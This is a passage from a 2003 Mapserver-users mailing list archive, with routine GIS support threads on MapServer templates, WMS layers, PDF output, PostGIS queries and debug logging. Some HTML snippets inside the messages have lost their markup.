but none of them seem to work. Any ideas would be greatly appreciated. Robert Stanton Durban South Africa _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From kames at keyspanenergy.com Thu Jan 30 10:14:33 2003 From: kames at keyspanenergy.com (Kieran J. Ames) Date: Thu, 30 Jan 2003 13:14:33 -0500 Subject: [Mapserver-users] Hyperlinks on map page References: <004b01c2c886$0c19de70$0101a8c0@scgs500> Message-ID: <3E396B89.3ED07386@keyspanenergy.com> Try EMail address:
[NAME]
Robert Stanton wrote: > Hi List > > I am placing some basic information from various columns in a .dbf file > before a map in my html template, and two of the items are an email address > and a web page, eg: > > Name: [NAME]
> Contact: [CONTACT]
> Telephone: [DIALCODE] [TELEPHONE]
> Fax: [DIALCODE] [FAX]
> Email address: > Website: [WEBSITE]
> > Does anyone know how to turn the email and website in to hyperlinks on the > page. I have fiddled with the more obvious ways such as: > > EMail address:
> > but none of them seem to work. Any ideas would be greatly appreciated. > > Robert Stanton > Durban > South Africa > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From john_mapserver at hotmail.com Thu Jan 30 10:13:51 2003 From: john_mapserver at hotmail.com (John Newton) Date: Thu, 30 Jan 2003 10:13:51 -0800 Subject: [Mapserver-users] wms layer placement References: Message-ID: Could this be a datum issue (NAD27 vs NAD83) between your layers? ----- Original Message ----- From: "Kevin Flanders" To: Sent: Tuesday, January 28, 2003 10:50 AM Subject: [Mapserver-users] wms layer placement > I have a few wms layers from the USGS server that appear a few hundred feet > "off" from the rest of my data....can I offset these layers somehow? > > > Kevin > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From ed at topozone.com Thu Jan 30 10:27:46 2003 From: ed at topozone.com (Ed McNierney) Date: Thu, 30 Jan 2003 13:27:46 -0500 Subject: [Mapserver-users] wms layer placement Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3C1B@mercator.topozone.com> Kevin - This could certainly be a datum problem - what USGS server are you using? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: John Newton [mailto:john_mapserver at hotmail.com] Sent: Thursday, January 30, 2003 1:14 PM To: kevin at peoplegis.com; Mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] wms layer placement Could this be a datum issue (NAD27 vs NAD83) between your layers? ----- Original Message ----- From: "Kevin Flanders" To: Sent: Tuesday, January 28, 2003 10:50 AM Subject: [Mapserver-users] wms layer placement > I have a few wms layers from the USGS server that appear a few hundred feet > "off" from the rest of my data....can I offset these layers somehow? > > > Kevin > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Thu Jan 30 10:37:32 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 30 Jan 2003 12:37:32 -0600 Subject: [Mapserver-users] shptree index versions Message-ID: Check out http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?ShpTree. Steve >>> "John McCue" 01/30/03 10:43AM >>> What are the differences/advantages of the different types of formats for the quadtree indexes created by shptree? Thanks, John _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ddnebert at fgdc.gov Thu Jan 30 12:31:15 2003 From: ddnebert at fgdc.gov (Doug Nebert) Date: Thu, 30 Jan 2003 15:31:15 -0500 Subject: [Mapserver-users] Re: Supporting Queryable in MMS References: Message-ID: <3E398B93.577405D1@fgdc.gov> Steve Lime wrote: > > Info_format is a WMS parameter and is described in the OGC WMS spec. I > would suggest just using the default text representation (i.e. ignore > info_format and remove the WMS_FEATURE_INFO_MIME_TYPE variable) and just > get that working. Then worry about presentation. If you add the line > "TEMPLATE 'dummy'" to your LAYER definition then that layer should be > queryable. With that you should be able to do basic getFeatureInfo > requests. > > Templates are the standard way for MapServer to return data from a > query. If you can send me a working basic lookup I can let you know how > to structure your templates... > I have only one layer (plans) and it is a polygon shapefile. It has four attributes, title, origin, themekey, and url. I need the layer to be queryable through getCapabilities and for the response to be formatted as an HTML document as a construct, one row per returned feature. I'd hope that since one of the attributes is a URL that this would be exposed as a hyperlink rather than as text. The interaction will be to click on the map and have all polygons that are 'skewered' returned as a result. I gather I must add WMS_FEATURE_INFO_MIME_TYPE "text/html" to the WEB object. But what, beyond TEMPLATE 'dummy' do I put inside the LAYER description? Doug. > Steve > -- Douglas D. Nebert Geospatial Data Clearinghouse Coordinator FGDC/GSDI Secretariat Phone: +1 703 648 4151 Fax: +1 703 648-5755 From zak-ms at aiya.dhs.org Thu Jan 30 13:42:52 2003 From: zak-ms at aiya.dhs.org (Zak James) Date: Thu, 30 Jan 2003 16:42:52 -0500 Subject: [Mapserver-users] PHP/mapscript - Inserting vector maps into PDF documents In-Reply-To: <3E4215C93D3CE24D84A9FF385DF88D87144875@afeb-ms-02> Message-ID: In the 3.7 branch, the DrawMapPDF() function has been removed in favour of integrating PDF output into the new OUTPUTFORMAT system (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?OutputFormat) which is supported from mapscript. In 3.6.x, the pdf rendering is done by custom functions - like DrawMapPDF(), so there isn't any support for them in the mapscript bindings. I agree that more control over the PDF rendering is needed and should be handled using the FORMATOPTION field, so that mapscript doesn't have to be modified to take advantage of it. As an example, the 3.7 flash support uses this approach. I am hoping to add pdf plot resolution control through this mechanism, but it would also be possible to control rendering size and position, or allow the use of pdf template files. I'm not sure if my changes will make the 3.7 release. zj On Tuesday, January 28, 2003, at 11:43 pm, Antti.Roppola at brs.gov.au wrote: > Hi all, > > Around this time last year, there was some discussion on the Mapserver > list about > how you'd go about including Mapserver elements in arbitrary places on > a PDF being > created in PHP/Mapscript. > > http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0202/ > msg00240.html > http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0202/ > msg00239.html > > I've just spent quite a while browsing the mappdf source and there's a > DrawMapPDF() function > that skips the creation of a new PDF object if an existing one is > given as an argument, > but I can't find a hook into it through PHP/Mapscript. Nor can I see > anything in this function that > would allow me to control the placement of the map in my pdf object. I > guess I'd really like an > outputformat that returns PDF instructions rather than a whole > document, this way I could > use pdf_translate() and pdf_scale() to do the placement myself: > > > $map->selectOuputFormat("pdf_instructions"); // as opposed to a > complete PDF doc > > $pdf_instructions=$map->draw(); > place($my_pdf, $pdf_instructions, $pos_xmin, $pos_ymin, $pos_xmax, > $pos_ymax, $angle); > > function place ($my_pdf, $pdf_elements, $pos_ymin, $pos_xmax, > $pos_ymax, $angle) { > pdf_save($my_pdf); // save default state > if($angle) { > pdf_rotate($my_pdf, $angle) > } > pdf_translate($my_pdf, $pos_xmin, $pos_ymin); > ... // stuff happens to calc scaling > pdf_scale($my_pdf, $pos_dx, $pos_dy ); > include $pdf_elements; // you get the idea... > pdf_restore($my_pdf); // restore default state > } > > > > Has anyone got any insights on where things are at? > > Cheers, > > Antti > N.B. I do have all the other PDF functionality such as 3.7 > outputformat working, I just > want to be able to write my map objects into an existing PDF as > vectors. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From jose.quintal at cfe.gob.mx Thu Jan 30 14:59:15 2003 From: jose.quintal at cfe.gob.mx (jose.quintal at cfe.gob.mx) Date: Thu, 30 Jan 2003 16:59:15 -0600 Subject: [Mapserver-users] query points Message-ID: Hello. I am new with PHP/Mapscript and Mapserver. I have points in a Table of Mysql with its coordinates. This it is the code that I use to draw the points. As I can do to him so that when selecting a point appears to me their data $p=mysql_query($sql) or die("Error al Ejecutar la Consulta"); // get a layer object representing your pointlayer $layerObj = $map->getLayerByName("points"); // get a class object representing the first class in the layer $classObj = $layerObj->getClass(0); // create a new point object to hold the X Y data $pointObj = ms_newPointObj(); while($reg=mysql_fetch_array($p)){ $a=$reg['postes_id']; $b=$reg['cor_x']; $c=$reg['cor_y']; //set the X Y values of the point object $pointObj->setXY($b,$c); $pointObj->draw($map, $layerObj, $image, 0, $a); } $image_url=$image->saveWebImage(MS_PNG,1,1,0); I use Windows 2000, IIS, Mapserver 3.6.3 with PHP/Mapscript 4.2.2 Thanks for the aid. Jos? Antonio Quintal Castillo From morissette at dmsolutions.ca Thu Jan 30 15:30:43 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 30 Jan 2003 18:30:43 -0500 Subject: [Mapserver-users] Re: Supporting Queryable in MMS References: <3E398B93.577405D1@fgdc.gov> Message-ID: <3E39B5A3.5894300F@dmsolutions.ca> Doug Nebert wrote: > > I have only one layer (plans) and it is a polygon shapefile. It has > four attributes, title, origin, themekey, and url. I need the layer > to be queryable through getCapabilities and for the response to be > formatted as an HTML document as a
construct, one row per > returned feature. I'd hope that since one of the attributes is a URL > that this would be exposed as a hyperlink rather than as text. The > interaction will be to click on the map and have all polygons that > are 'skewered' returned as a result. > > I gather I must add WMS_FEATURE_INFO_MIME_TYPE "text/html" to the WEB > object. But what, beyond TEMPLATE 'dummy' do I put inside the LAYER > description? > If you want to support text/html GetFeatureInfo output then you need valid MapServer query templates. This is not specific to the WMS, it's just the way the traditional mapserv CGI handles query results. There are examples of templates used for query results in the Itasca demo for instance. OK, so here is what you need in details: 1- Add metadata "wms_feature_info_mime_type" "text/html" in the WEB object in your mapfile to tell the WMS interface to advertize text/html as a GetFeatureInfo format. 2- Set TEMPLATE, HEADER and FOOTER parameters in your layer: LAYER NAME "plan" ... TEMPLATE "plan_query.html" HEADER "plan_query_header.html" FOOTER "plan_qquery_footer.html" END 3- Create the three template files and place them in the same directory as your .map file: --- plan_query_header.html ---
------ --- plan_query.html --- ------ --- plan_query_footer.html ---
Title Origin Theme Key URL
[title] [origin] [themekey] [url]>
------ That should do the trick. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From morissette at dmsolutions.ca Thu Jan 30 15:38:39 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 30 Jan 2003 18:38:39 -0500 Subject: [Mapserver-users] Mapserver and Translucency References: <02f701c2c794$fcb82910$4d570842@beast> Message-ID: <3E39B77F.53B3904@dmsolutions.ca> > James Anderson wrote: > > I would like to know if there is a way to specify translucency or > alpha channel info for a layer in mapserver. I want to be able to > display a polygon layer on the map at about a half on level, so that I > can see other layers underneath it. > See the TRANSPARENCY parameter in the mapfile reference docs: http://mapserver.gis.umn.edu/doc36/mapfile-reference.html -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From Antti.Roppola at brs.gov.au Thu Jan 30 15:45:18 2003 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Fri, 31 Jan 2003 10:45:18 +1100 Subject: [Mapserver-users] PHP/mapscript - Inserting vector maps into PDF documents Message-ID: <3E4215C93D3CE24D84A9FF385DF88D87144886@afeb-ms-02> Thanks for the info, I have not yet had a close look at the 3.7 PDF code. Yes, I can see how position and scale controls could be added to the PDF doc generator, but I'd like to do as little as possible inside Mapscript and manipulate the drawing placement in PHP/PDFLib since it appears that the required funtionality already exists there. Of course, I have not investigated this in any detail and there may be good reasons why it should not be done this way. :o) BTW, Assuming that by "plot resolution" you are talking about the density of vertices in the output PDF (which in typical default map states produces a pretty ugly "jaggy" vector), it is possible to control the density of vertices by manipulating map->height and map->width since these also control the resampling of shapes when they are read in for rendering: Default w. 600x600 image size http://data.brs.gov.au/mapserv/dev/pdfcell7000.png Bump size to 1200 x 1200 http://data.brs.gov.au/mapserv/dev/pdfcell3500.png Then to 3000 x 3000 http://data.brs.gov.au/mapserv/dev/pdfcell1400.png Cheers, Antti -----Original Message----- From: Zak James [mailto:zak-ms at aiya.dhs.org] Sent: Friday, 31 January 2003 8:43 AM To: Antti.Roppola at brs.gov.au Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] PHP/mapscript - Inserting vector maps into PDF documents In the 3.7 branch, the DrawMapPDF() function has been removed in favour of integrating PDF output into the new OUTPUTFORMAT system (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?OutputFormat) which is supported from mapscript. In 3.6.x, the pdf rendering is done by custom functions - like DrawMapPDF(), so there isn't any support for them in the mapscript bindings. I agree that more control over the PDF rendering is needed and should be handled using the FORMATOPTION field, so that mapscript doesn't have to be modified to take advantage of it. As an example, the 3.7 flash support uses this approach. I am hoping to add pdf plot resolution control through this mechanism, but it would also be possible to control rendering size and position, or allow the use of pdf template files. I'm not sure if my changes will make the 3.7 release. zj On Tuesday, January 28, 2003, at 11:43 pm, Antti.Roppola at brs.gov.au wrote: > Hi all, > > Around this time last year, there was some discussion on the Mapserver > list about > how you'd go about including Mapserver elements in arbitrary places on > a PDF being > created in PHP/Mapscript. > > http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0202/ > msg00240.html > http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0202/ > msg00239.html > > I've just spent quite a while browsing the mappdf source and there's a > DrawMapPDF() function > that skips the creation of a new PDF object if an existing one is > given as an argument, > but I can't find a hook into it through PHP/Mapscript. Nor can I see > anything in this function that > would allow me to control the placement of the map in my pdf object. I > guess I'd really like an > outputformat that returns PDF instructions rather than a whole > document, this way I could > use pdf_translate() and pdf_scale() to do the placement myself: > > > $map->selectOuputFormat("pdf_instructions"); // as opposed to a > complete PDF doc > > $pdf_instructions=$map->draw(); > place($my_pdf, $pdf_instructions, $pos_xmin, $pos_ymin, $pos_xmax, > $pos_ymax, $angle); > > function place ($my_pdf, $pdf_elements, $pos_ymin, $pos_xmax, > $pos_ymax, $angle) { > pdf_save($my_pdf); // save default state > if($angle) { > pdf_rotate($my_pdf, $angle) > } > pdf_translate($my_pdf, $pos_xmin, $pos_ymin); > ... // stuff happens to calc scaling > pdf_scale($my_pdf, $pos_dx, $pos_dy ); > include $pdf_elements; // you get the idea... > pdf_restore($my_pdf); // restore default state > } > > > > Has anyone got any insights on where things are at? > > Cheers, > > Antti > N.B. I do have all the other PDF functionality such as 3.7 > outputformat working, I just > want to be able to write my map objects into an existing PDF as > vectors. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From morissette at dmsolutions.ca Thu Jan 30 15:58:08 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 30 Jan 2003 18:58:08 -0500 Subject: [Mapserver-users] why a segfault with mapserv but shp2img works fine? References: Message-ID: <3E39BC10.63B97398@dmsolutions.ca> Sean Gillies wrote: > > I've built mapserv and shp2img from a very recent CVS checkout. While > testing, I've found that shp2img works fine with my map file. However, > when testing mapserv from the shell using the REQUEST_METHOD and > QUERY_STRING environmental variables (same map file), I get a > segmentation fault. My map has a single raster layer, a GeoTIFF that > I'm accessing with GDAL. > > Can anyone briefly summarize the differences in the way shp2img and > mapserv work, and why the latter might be more prone to a segfault? > Well, mapserv does all sorts of things that shp2img doesn't worry about. Think about all the template stuff (were you using mode=map or the default mode=browse ?), the QUERY_STRING parsing, turning layers on and off, temporary image files creation for elements found in the template, etc. A crash is always an important thing to fix IMO. If you can get a stack dump in GDB after the crash and provide more details to reproduce it then please file a bug in bugzilla with all that information. BTW, there is a (undocumented) way to test with mapserv at the command-line without having to set the QUERY_STRING and REQUEST_METHOD env. vars. You can use this: ./mapserv "QUERY_STRING=map=/path/to/mymap.map&mode=map&..." Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From sgillies at frii.com Thu Jan 30 16:14:46 2003 From: sgillies at frii.com (Sean Gillies) Date: Thu, 30 Jan 2003 17:14:46 -0700 Subject: [Mapserver-users] why a segfault with mapserv but shp2img works fine? In-Reply-To: <3E39BC10.63B97398@dmsolutions.ca> Message-ID: <0137F544-34B1-11D7-BFB5-000393B98B56@frii.com> On Thursday, January 30, 2003, at 04:58 PM, Daniel Morissette wrote: > Sean Gillies wrote: >> >> I've built mapserv and shp2img from a very recent CVS checkout. While >> testing, I've found that shp2img works fine with my map file. >> However, >> when testing mapserv from the shell using the REQUEST_METHOD and >> QUERY_STRING environmental variables (same map file), I get a >> segmentation fault. My map has a single raster layer, a GeoTIFF that >> I'm accessing with GDAL. >> >> Can anyone briefly summarize the differences in the way shp2img and >> mapserv work, and why the latter might be more prone to a segfault? >> > > Well, mapserv does all sorts of things that shp2img doesn't worry > about. Think about all the template stuff (were you using mode=map or > the default mode=browse ?), the QUERY_STRING parsing, turning layers on > and off, temporary image files creation for elements found in the > template, etc. > > A crash is always an important thing to fix IMO. If you can get a > stack > dump in GDB after the crash and provide more details to reproduce it > then please file a bug in bugzilla with all that information. > > BTW, there is a (undocumented) way to test with mapserv at the > command-line without having to set the QUERY_STRING and REQUEST_METHOD > env. vars. You can use this: > > ./mapserv "QUERY_STRING=map=/path/to/mymap.map&mode=map&..." > > Daniel > -- The problem was in the web block of my map file. Doh! Thanks for the suggestions. Cheers, S. From keon at nacse.org Thu Jan 30 17:15:54 2003 From: keon at nacse.org (Dylan Keon) Date: Thu, 30 Jan 2003 17:15:54 -0800 Subject: [Mapserver-users] msHTTPWriteFct in error_log Message-ID: <3E39CE4A.4000105@nacse.org> I'm getting a bunch of msHTTPWriteFct notes in my error_log each time I request a WMS layer. The WMS layer is retrieved successfully. Do the notes indicate a problem, or are they just normal debug info? The request is made through a PHP MapScript app and I'm using MS 3.7 (yesterday CVS). Thanks. ---------------------------------------------- [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:21 2003].80548 HTTP request: id=0, http://terraservice.net/ogcmap.ashx?VERSION=1.1.1&SERVICE=wms&LAYERS=DOQ&FORMAT=png&styles=&REQUEST=GetMap&WIDTH=480&HEIGHT=320&SRS=EPSG:26910&BBOX=468399.008789,5328135.156250,469605.844727,5328939.843750&EXCEPTIONS=application/vnd.ogc.se_inimage, referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:21 2003].83900 HTTP: Before download loop, referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].256710 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].256830 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].256956 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].286574 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].287022 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].287161 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].287677 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].288181 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].288652 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].310129 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].310291 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].310451 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].310820 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].311279 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].311642 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].312012 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].312257 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].312504 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].312894 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].315147 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].315394 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].339201 msHTTPWriteFct(id=0, 1336 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].365680 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].365980 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].366494 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].367787 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].368898 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].369630 msHTTPWriteFct(id=0, 1448 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:24 2003].370013 msHTTPWriteFct(id=0, 1006 bytes), referer: http://www.nacse.org [Thu Jan 30 16:58:25 2003] [error] [client xxx.xxx.xxx.xxx] [Thu Jan 30 16:58:25 2003].424163 HTTP: After download loop, referer: http://www.nacse.org -- ************************************************ Dylan Keon GIS/Database Research Specialist Northwest Alliance for Computational Science and Engineering (NACSE) Oregon State University Corvallis, OR 97331 keon at nacse.org (541) 737-6608 ************************************************ From morissette at dmsolutions.ca Thu Jan 30 17:46:24 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 30 Jan 2003 20:46:24 -0500 Subject: [Mapserver-users] msHTTPWriteFct in error_log References: <3E39CE4A.4000105@nacse.org> Message-ID: <3E39D570.3A2DFF22@dmsolutions.ca> Dylan Keon wrote: > > I'm getting a bunch of msHTTPWriteFct notes in my error_log each time I > request a WMS layer. The WMS layer is retrieved successfully. Do the > notes indicate a problem, or are they just normal debug info? The > request is made through a PHP MapScript app and I'm using MS 3.7 > (yesterday CVS). > I guess we could call them normal debug info. They're very useful when troubleshooting WMS/WFS connection problems. If you remove --enable-debug in your configure parameters then they should go away. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From Sean.Geoghegan at dsto.defence.gov.au Thu Jan 30 15:55:19 2003 From: Sean.Geoghegan at dsto.defence.gov.au (Geoghegan, Sean) Date: Fri, 31 Jan 2003 10:25:19 +1030 Subject: [Mapserver-users] Oracle Spatial Support Message-ID: <108E7D907871D6118B5000306E0189F801DBD137@ednex504.dsto.defence.gov.au> Hi all, I have been doing a combination of reading list archives and the source code for the Oracle Spatial support and it appears that the support still has a few limitation/incomplete features. Alot of the functions in the oraclespatial source file are not complete either. Can someone give me an idea of the functional state of oracle spatial support, whether there are any plans to complete the support ( there was mention in the archives of this being completed around April last year but the source has a last changed date of January 2002) and the work that is required to complete the support. Cheers, Sean Geoghegan Command and Intelligence Environments Branch Command and Control Division Defence Science and Technology Organisation sean.geoghegan at dsto.defence.gov.au From ryanne.cruz at up.edu.ph Thu Jan 30 21:47:46 2003 From: ryanne.cruz at up.edu.ph (ryanne cruz) Date: Fri, 31 Jan 2003 13:47:46 +0800 Subject: [Mapserver-users] RE: help with oid Message-ID: <1043992066.3e3a0e023a3b4@mail.up.edu.ph> hi list. does anyone here know of a site that discusses oid? or can anyone here explain to me what oid is and how it is used? i am trying to set the data of a layer with a subselect as its argument. example is: $wind->set(data,"geom from (select geom AS geom from wind where provinceid=$provid and distance(wind.geom,(select geom from municipality where munprovid=$munprovid))<=0)"); but it results to an error: Warning: MapServer Error in msPOSTGISLayerWhichShapes(): prep_DB:Error executing POSTGIS DECLARE statement (0.6 failed - retried 0.5 and it failed too). DECLARE mycursor BINARY CURSOR FOR SELECT watt_m2::text,asbinary(force_collection(force_2d(geom)),'NDR'),OID::text from (select geom AS geom from wind where provinceid=1 and distance(wind.geom,(select geom from municipality where munprovid=1))<=0) WHERE geom && setSRID('BOX3D(118.267071942857 9.300063,118.638417057143 9.670539)'::BOX3D, find_srid('','windcipality','geom') ) and when i tried this: $wind->set(data,"geom from (select geom AS geom from wind where provinceid=$provid and distance(wind.geom,(select geom from municipality where munprovid=$munprovid))<=0) as new_table using unique mun using SRID=-1"); it reults to this error: MapServer Error in msPOSTGISLayerWhichShapes(): prep_DB:Error executing POSTGIS DECLARE statement (0.6 failed - retried 0.5 and it failed too). DECLARE mycursor BINARY CURSOR FOR SELECT watt_m2::text,asbinary(force_collection(force_2d(geom)),'NDR'),OID::text from (select geom AS geom from wind where provinceid=1 and distance(wind.geom,(select geom from municipality where munprovid=1))<=0) WHERE geom && setSRID('BOX3D(118.267071942857 9.300063,118.638417057143 9.670539)'::BOX3D, find_srid('','windcipality','geom') ) i was thinking that the solution may be with using an oid but i'm not sure what it is and how it works. help!? ryanne From alessandro.ceccotti at netxcalibur.com Thu Jan 30 23:46:25 2003 From: alessandro.ceccotti at netxcalibur.com (Alessandro Ceccotti) Date: Fri, 31 Jan 2003 08:46:25 +0100 Subject: [Mapserver-users] (no subject) Message-ID: Hello everyone, anotther question: I've a .map file that contains various layers. How can I do to allow the user (via web) to select some layer and display only these? I use mapserver as cgi. thanks, Alessandro Ceccotti From alessandro.ceccotti at netxcalibur.com Thu Jan 30 23:48:07 2003 From: alessandro.ceccotti at netxcalibur.com (Alessandro Ceccotti) Date: Fri, 31 Jan 2003 08:48:07 +0100 Subject: [Mapserver-users] Mapserver layers selection Message-ID: <000001c2c8fd$180fe090$0101a8c0@CPQ60241426414> Hello everyone, another question: I've a .map file that contains various layers. How can I do to allow the user (via web) to select some layer and display only these? I use mapserver as cgi. thanks, Alessandro Ceccotti From bplatzen at sosnetz.de Fri Jan 31 00:24:02 2003 From: bplatzen at sosnetz.de (=?iso-8859-1?q?Bj=F6rn=20Platzen?=) Date: Fri, 31 Jan 2003 09:24:02 +0100 Subject: [Mapserver-users] Mapserver layers selection In-Reply-To: <000001c2c8fd$180fe090$0101a8c0@CPQ60241426414> References: <000001c2c8fd$180fe090$0101a8c0@CPQ60241426414> Message-ID: <200301310924.02575.bplatzen@sosnetz.de> Hello Alessandro, > I've a .map file that contains various layers. How can I do to allow the > user (via web) to select some layer and display only these? You could provide a
http://www.mapxplore.com/
 
